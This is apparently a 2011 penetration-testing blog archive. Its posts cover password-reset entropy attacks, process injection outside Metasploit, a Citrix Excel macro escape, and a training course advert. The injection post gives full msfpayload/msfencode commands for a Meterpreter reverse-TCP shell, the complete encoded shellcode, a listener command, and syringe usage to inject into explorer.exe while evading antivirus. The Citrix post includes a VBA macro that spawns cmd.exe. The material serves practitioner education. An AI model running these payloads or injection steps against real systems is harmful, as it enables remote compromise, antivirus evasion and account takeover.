Review the tokens.txt file

We can see that the new passwords sent aren't very random. We can load this in burp sequencer but there really isn't any point when it is this easy. It is obvious that the developer has two separate arrays of words and and another array of numbers. They pick "randomly" from that pile and concatenate the values. Here is the actual line of code I wrote to do this and yes this is a real-life example that I've come across:




Factors that could slow us down:

1) If we can't enumerate e-mail addresses somehow. An example of enumeration would be if you type in a username/e-mail address and and the site tells you it doesn't exist. Now we know who DOES exist on the system.

2) This particular site requires a birthdate along with the email address. This is difficult but not impossible. If we know the e-mail address exists it is a matter of guessing the birthdate (automate w/ Intruder).

3) After we've reset other user's passwords, we need to guess the password (made MUCH easier by reviewing the entropy). If an account lock-out policy is enforced (after a small amount of incorrect password submissions) the account may be locked out leaving us without access. That is no fun.

Even if the reset or forgotten password function doesn't send us a clear-text password it may send us a reset link. It is important to review the randomness of that link.

Here is an example of loading the tokens file in sequencer:


Summary:

We've bypassed struts token and multi-flow password resets which might have been intended to slow us down. We've collected all of our emails and parsed them for passwords/tokens/links. We've manually (in this case) reviewed the entropy but we can also do this with sequencer. Now we have a way to guess passwords more efficiently and in combination with other flaws leaves us just a short period of time from compromising accounts.

~cktricky
cktricky

Tuesday, July 5, 2011

Facebook Forensics


Hi dudes, we have got a studies over facebook forensics, please feel free to reference and enjoy it from here. Special thanks to Captain's leading on this studies, Taku and Sweeper's analysis and Leng's detailed paper review:
http://goo.gl/2TIr9
Dark Floyd

Friday, July 1, 2011

Process Injection Outside of Metasploit


You may find yourself needing to do process injection outside of metasploit/meterpreter. A good examples is when you have a java meterpreter shell or you have access to gui environment (citrix) and/or AV is going all nom nom nom on your metasploit binary.
There are two public options I have found; shellcodeexec and syringe.

Both allow you to generate shellcode using msfpayload (not currently working with msfvenom) and inject that into memory (process for syringe) and get your meterpreter shell.

shellcodeexec

https://github.com/inquisb/shellcodeexec

http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html

= Short description =

shellcodeexec is a small script to execute in memory a sequence of opcodes.

"It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode."

"Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours."

Make the payload:

$ ./msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R
| ./msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIxMYC0EPGpCPOyIuEaN2PdNkRrP0LKCbT
LNkQBVtNkT2VHTOX7QZGVTqIoVQIPLlGLPaQlC2TlEpKqZoVmC1ZgZBXpQBPWLKCbVpLKQRElGqZpLKQPRXK5IP
T4CzGqN0RpLKPHVxNkV8EpVaXSKSGLRiLKP4LKEQZvTqIoP1O0NLIQZoVmGqXGTxM0T5ZTGsCMIhEkQmTdPuIrR
xNkQHTdGqICRFNkVlPKNkPXELVaICNkC4NkGqZpK9CtVDEtCkCkPaV9QJPQKOM0PXCoPZNkTRZKNfQMCXEcTrEP
C0CXPwRSVRQOPTPhPLCGGVC7KOZuNXZ0GqEPEPVIZdQDV0PhQ9K0PkC0KOIERpPPV0PPQPPPQPPPCXZJTOIOKPK
OKeOgQzC5E8O0I8OxC1E8TBGpR1ClOyIvPjR0QFPWPhZ9OURTE1IoZuK5IPCDTLKORnVhRUZLE8XpLuI2PVKOIE
RJC0QzC4QFV7QxVbN9ZhQOIoZuNkTvRJG0E8EPVpGpEPRvPjGpCXRxLdCcIuIoIENsPSCZGpRvCcV7CXGrIIZhQ
OKOKeEQKsVIO6NeIfT5ZLKsAA

Set up a listener to catch the shell:
$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

Run it on the windows side:
C:\WINDOWS\Temp>shellcodeexec.exe [msfencode's encoded payload]
**Must paste in the payload, cant be a .txt
Once you have shell you need to migrate out of it, it will be in the shellcodeexec process and as soon as someone ctrl-c or kills that cmd.exe the process dies and so does your shell

Looks like this:




Syringe

http://blog.securestate.com/post/2011/06/21/Syringe-utility-provides-ability-to-inject-shellcode-into-processes.aspx

http://www.securestate.com/Documents/syringe.c

= Short description =

"Syringe is a general purpose injection utility for the windows platform. It supports injection of DLLs, and shellcode into remote processes as well execution of shellcode (via the same method of shellcodeexec). It can be very useful for executing Metasploit payloads while bypassing many popular anti-virus implementations as well as executing custom made DLLs (not included)"

To compile “C:\codelocation\cl syringe.c”

C:\Documents and Settings\User\Desktop>syringe.exe
Syringe v1.2
A General Purpose DLL & Code Injection Utility

Usage:

Inject DLL:
syringe.exe -1 [ dll ] [ pid ]

Inject Shellcode:
syringe.exe -2 [ shellcode ] [ pid ]

Execute Shellcode:
syringe.exe -3 [ shellcode ]

-3 same issue as shellcodeexec, close cmd.exe or ctrl-c lose shell

-2 is preferred, located explorer.exe inject shellcode into that


C:\Documents and Settings\User\Desktop>tasklist
tasklist

Image Name PID Session Name Session# Mem Usage
========================= ====== ================ ======== ============
System Idle Process 0 Console 0 28 K
System 4 Console 0 236 K
smss.exe 540 Console 0 424 K
csrss.exe 604 Console 0 3,852 K
winlogon.exe 628 Console 0 5,012 K
services.exe 680 Console 0 3,440 K
lsass.exe 692 Console 0 1,408 K
vmacthlp.exe 848 Console 0 2,756 K
svchost.exe 864 Console 0 4,924 K
svchost.exe 944 Console 0 4,308 K
MsMpEng.exe 1040 Console 0 53,812 K
svchost.exe 1076 Console 0 23,780 K
svchost.exe 1164 Console 0 3,616 K
svchost.exe 1368 Console 0 3,916 K
explorer.exe 1624 Console 0 15,256 K
spoolsv.exe 1656 Console 0 6,072 K
VMwareTray.exe 1848 Console 0 5,044 K
VMwareUser.exe 1856 Console 0 6,328 K
msseces.exe 1864 Console 0 10,708 K
jusched.exe 1920 Console 0 4,304 K
msmsgs.exe 1928 Console 0 2,488 K
ctfmon.exe 1952 Console 0 3,248 K
svchost.exe 740 Console 0 3,760 K
jqs.exe 1108 Console 0 1,396 K
vmtoolsd.exe 1264 Console 0 9,976 K
VMUpgradeHelper.exe 1212 Console 0 4,176 K
TPAutoConnSvc.exe 2396 Console 0 4,392 K
alg.exe 2680 Console 0 3,612 K
TPAutoConnect.exe 3060 Console 0 4,848 K
iexplore.exe 3784 Console 0 16,300 K
iexplore.exe 4064 Console 0 45,392 K
wuauclt.exe 1224 Console 0 4,276 K
java.exe 1112 Console 0 27,516 K
java.exe 2520 Console 0 14,272 K
notepad.exe 440 Console 0 3,572 K
jucheck.exe 3112 Console 0 6,120 K
cmd.exe 3260 Console 0 2,700 K
tasklist.exe 3332 Console 0 4,580 K
wmiprvse.exe 3368 Console 0 5,824 K

C:\Documents and Settings\User\Desktop>syringe.exe -2 PYIIIIIIIIIIIIIIII7Q
ZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlZHMYEPGpEPE0NiXeVQXRQ
tNkCbTpNkRrVlLKPRVtNkRRExVoLwRjVFVQIoTqKpLlElCQCLVbVLQ0KqZoTMEQZgXbXpCbRwLK
CbVpNkCrElVaXPNkQPRXLEO0CDRjVaN0RpNkCxEHNkPXQ0VaICIsElG9LKP4LKEQZvVQIoTqKpL
lIQXOTMVaZgEhIpCEL4TCQmIhGKQmEtPuKRRxNkPXTdEQN3E6NkVlPKLKPXELGqICNkC4LKC1Zp
LIQTVDEtQKCkPaRyQJRqIoM0RxQOPZLKVrZKK6QMCXPnQuT4C0E8T7PiRNCYNiZFPTE8RlCGEvT
GIoZuTqKOPWRwV7RwPVPhEjPVQiLgKOXUZKCoCkEaO9V1PQQzTCRqCaCXKKQ0C0EPV3V0CXV7Oy
OoIVIoN5XkRhCiVQXRCbRHGpTrIpNdCbQBCbRqCbRpE8XkQEVNEkKOKeOyIVCZGrQKP1KOPWRwV
7CgRvE8VMVfGhQkIoZuOuO0RUTnPKCDTdE8K0VSGpGpOyKPPjC4RpQzEOCfRHT5PFOnK6IoXUZK
ZuXkQYM8McKOKOKOVOQQQhCtRBRPC0E8ZPMeNBV6IoXURJCpQxC0TPC0C0PhGpC0CpEPV7PhQHO
TPSM5KOKeOcPSV3LIIwRwPhEPEpEPEPRsV6E8EBZ6K9M2KOZuK5O0RTXMNkGwEQISMUKpPuXeQH
ZcM8RqIoIoKOEaP9GBVNTqGFP8VNEbGFTnP1VSVXEPAA 1624

Looks like this (you can use the same shellcode in syringe):

CG

Friday, June 24, 2011

Welcome Ken "cktricky" Johnson!


Ken "cktricky" Johnson has agreed to join the carnal0wnage/attackresearch blog and I cant be more excited. Ken brings tons of webappsec kung fu and is the core developer for wXf. He should be adding lots of webappsec goodness.

you can catch him on twitter as well @cktricky

Welcome Ken!

-CG
CG

Thursday, June 23, 2011

Restricted Citrix Excel Application Escapes


SynJunkie has a couple good posts on citrix escapes:

http://synjunkie.blogspot.com/search/label/Citrix

and of course iKat

http://ikat.ha.cked.net/

So recently I had to break out of restricted citrix environment. All I had was Excel 2010 and Word 2010.

I also didnt have a fancy "jump to url" option when I clicked on the title bar and none of the hot keys were working for me. So goal was to get a web broswer or cmd shell.

I was able to create macros though. So first I added the developers ribbon.


Click the visual basic button, and paste in some sweet macro code.



Then you save the file as macro enabled workbook.


Once its saved, you can hit the macro button and run your macro.



and get shell


** To be clear all of this is running remotely on the citrix host.**

The macro code

Sub GETSHELL()
'execute EXE file
Shell "CMD /K C:\windows\system32\cmd.exe", vbNormalFocus
End Sub

You could also just type a url into excel...


and click it..But that's pretty low tech and not much fun :-)

Again this IE browser is running remotely on the citrix host. From here you can client-side exploit yourself...i.e. java applet exloit... to get your outbound shell.

CG

Sunday, June 19, 2011

Strategic Security -- Exploit Development Course


Joe McCray with Strategic Security is running a two week exploit dev course.

Course Description & Instructor Information:

http://strategicsec.com/Exploit-Dev-Courses-Oct-2011.pdf

Strategic Security has teamed up with Net-Square to provide the most comprehensive exploit development course package available to the public. Occasionally similar courses are offered privately to various three letter agencies and large financial institutions.

Exploit development is often considered the most difficult area of focus in the entire field of IT security. It requires both a broad range of skills and deep level of knowledge in Networking, Operating Systems, and Programming. Now you too can learn what has long been thought to be "Black Magic" by many from one of the top practitioners and trainers in the world.

How is this course put together?
The course is actually a 2 week package deal designed to both teach the fundamentals of modern exploit development and give the student ample guided practice time with the instructor to actually get proficient.

Dates:

Exploit Dev: No Assembly Required Oct 31 - 4 Nov 2011 (5 Days)
Exploit Dev: Target Practice Nov 7 - 11 2011 (5 Days)

Training Location

The workshops will be held at "The Academy of Computer Education" in Greenbelt, MD.
The address is:

7833 Walker Drive, Suite 520C Greenbelt, Maryland 20770


$1000 Discount by using these links

Exploit Dev 1 Week @ $5,000
http://tinyurl.com/SS-EDNAR-D-CG

Exploit Dev 1 Week @ $6,000
http://tinyurl.com/SS-D-EDTP-CG

Exploit Dev 2 Week Package Deal @ 8,500
http://tinyurl.com/SS-EDNAR-TP-D-CG
CG